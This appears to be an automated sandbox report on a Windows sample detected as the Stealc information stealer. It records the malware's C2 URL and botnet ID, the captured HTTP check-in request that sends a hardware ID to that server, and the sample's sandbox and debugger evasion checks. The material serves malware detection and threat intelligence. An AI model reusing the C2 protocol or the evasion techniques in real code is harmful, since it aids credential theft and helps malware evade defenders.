Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1541160
MD5:	efb3596cf052ae112e2b81b16870436e
SHA1:	266b9c7ace3a1371ef5e87eb55f4e65ecb5e2d57
SHA256:	73de19773f529e65c1935196f7eb61206dad5ad17783a4412543c4bf0325bdc6
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 7264 cmdline: "C:\Users\user\Desktop\file.exe" MD5: EFB3596CF052AE112E2B81B16870436E)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1704892194.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1747007538.000000000102E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7264	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7264	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.910000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T14:18:02.241179+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.910000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0091C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_0091C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00919AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00919AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00917240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00917240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00919B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00919B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00928EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00928EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009238B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_009238B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00924910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00924910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0091DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0091DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0091E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0091E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0091ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0091ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00924570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00924570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0091F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0091F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00923EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00923EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009116D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_009116D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0091DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0091DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0091BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0091BE70

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAFBGIDHCBFHIECFCBGHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 39 37 37 43 37 42 31 44 32 34 41 35 36 33 34 38 34 31 34 36 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 2d 2d 0d 0a Data Ascii: ------EBAFBGIDHCBFHIECFCBGContent-Disposition: form-data; name="hwid"6977C7B1D24A563484146------EBAFBGIDHCBFHIECFCBGContent-Disposition: form-data; name="build"doma------EBAFBGIDHCBFHIECFCBG--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00914880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00914880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAFBGIDHCBFHIECFCBGHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 39 37 37 43 37 42 31 44 32 34 41 35 36 33 34 38 34 31 34 36 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 2d 2d 0d 0a Data Ascii: ------EBAFBGIDHCBFHIECFCBGContent-Disposition: form-data; name="hwid"6977C7B1D24A563484146------EBAFBGIDHCBFHIECFCBGContent-Disposition: form-data; name="build"doma------EBAFBGIDHCBFHIECFCBG--

Source: file.exe, 00000000.00000002.1747007538.0000000001088000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1747007538.000000000102E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1747007538.0000000001088000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1747007538.0000000001088000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0
Source: file.exe, 00000000.00000002.1747007538.0000000001088000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/G
Source: file.exe, 00000000.00000002.1747007538.0000000001072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1747007538.0000000001072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php;
Source: file.exe, 00000000.00000002.1747007538.0000000001072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpS

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C260C7	0_2_00C260C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE29D8	0_2_00CE29D8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDD9A4	0_2_00CDD9A4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B9C936	0_2_00B9C936
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDF96C	0_2_00CDF96C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BB397A	0_2_00BB397A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C60115	0_2_00C60115
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C2A927	0_2_00C2A927
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE4AAA	0_2_00CE4AAA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B94BE1	0_2_00B94BE1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C6248D	0_2_00C6248D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDA476	0_2_00CDA476
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA8D08	0_2_00BA8D08
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE0E93	0_2_00CE0E93
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D5EEA2	0_2_00D5EEA2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B8860C	0_2_00B8860C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BF3E4A	0_2_00BF3E4A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C10F57	0_2_00C10F57
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDBF1E	0_2_00CDBF1E

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 009145C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: enilkfvu ZLIB complexity 0.9950591473636087

Source: file.exe, 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1704892194.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00928680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00928680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00923720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00923720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\VQR1X6ZM.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1836032 > 1048576

Source: file.exe

Static PE information: Raw size of enilkfvu is bigger than: 0x100000 < 0x19a200

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.910000.0.unpack :EW;.rsrc :W;.idata :W; :EW;enilkfvu:EW;cjtkqast:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;enilkfvu:EW;cjtkqast:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00929860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00929860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c2667 should be: 0x1c4d05

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: enilkfvu
Source: file.exe	Static PE information: section name: cjtkqast
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C260C7 push 0108C592h; mov dword ptr [esp], esi	0_2_00C26316
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DCE8D9 push esi; mov dword ptr [esp], ebx	0_2_00DCE90F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DC18C4 push eax; mov dword ptr [esp], ecx	0_2_00DC18DE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BE3090 push esi; mov dword ptr [esp], ebx	0_2_00BE3180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BE3090 push edi; mov dword ptr [esp], esi	0_2_00BE3184
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BE3090 push ebp; mov dword ptr [esp], ecx	0_2_00BE31B5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D9D848 push ebp; mov dword ptr [esp], 53967580h	0_2_00D9D8A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0092B035 push ecx; ret	0_2_0092B048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DCB06C push 52FB224Ch; mov dword ptr [esp], edx	0_2_00DCB0DC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DFD03D push esi; mov dword ptr [esp], 1F9A9466h	0_2_00DFD0DC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D7683E push ecx; mov dword ptr [esp], edx	0_2_00D7686F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DEB02D push 192B211Ch; mov dword ptr [esp], ecx	0_2_00DEB03F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DEB02D push ebx; mov dword ptr [esp], ebp	0_2_00DEB17E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DEB02D push eax; mov dword ptr [esp], esi	0_2_00DEB1B1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DEB02D push 7B17890Dh; mov dword ptr [esp], eax	0_2_00DEB1E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DEB02D push esi; mov dword ptr [esp], esp	0_2_00DEB1E4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D78021 push edi; mov dword ptr [esp], esp	0_2_00D7807A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D78021 push 435E7A54h; mov dword ptr [esp], ecx	0_2_00D7813B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D78021 push edi; mov dword ptr [esp], edx	0_2_00D7817D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CEC1C8 push 12D63B6Ah; mov dword ptr [esp], edi	0_2_00CEC1F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CEC1C8 push 5765917Fh; mov dword ptr [esp], esi	0_2_00CEC275
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DEA9D5 push ebx; mov dword ptr [esp], ecx	0_2_00DEAA1A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE29D8 push 24F38F98h; mov dword ptr [esp], ebp	0_2_00CE29FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE29D8 push ecx; mov dword ptr [esp], 377D5128h	0_2_00CE2A01
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE29D8 push esi; mov dword ptr [esp], edi	0_2_00CE2A89
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE29D8 push esi; mov dword ptr [esp], ebx	0_2_00CE2B27
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE29D8 push 0B20A511h; mov dword ptr [esp], esi	0_2_00CE2B68
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE29D8 push esi; mov dword ptr [esp], edx	0_2_00CE2C02
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE29D8 push 2DA0F3D7h; mov dword ptr [esp], eax	0_2_00CE2C86
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE29D8 push 5F6B3B2Dh; mov dword ptr [esp], esi	0_2_00CE2CA6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE29D8 push 662C787Ah; mov dword ptr [esp], edx	0_2_00CE2CE1

Source: file.exe

Static PE information: section name: enilkfvu entropy: 7.954611061577171

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00929860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13599

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD530 second address: CDD534 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD534 second address: CDD547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a jno 00007F1674F90E16h 0x00000010 push eax 0x00000011 pop eax 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD547 second address: CDD564 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1675279DACh 0x00000008 pushad 0x00000009 jl 00007F1675279DA6h 0x0000000f jns 00007F1675279DA6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEBFBE second address: CEBFC4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEBFC4 second address: CEBFCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEBFCA second address: CEBFCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEC173 second address: CEC185 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1675279DAEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEC185 second address: CEC197 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1674F90E1Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEEAFB second address: CEEB0F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1675279DB0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
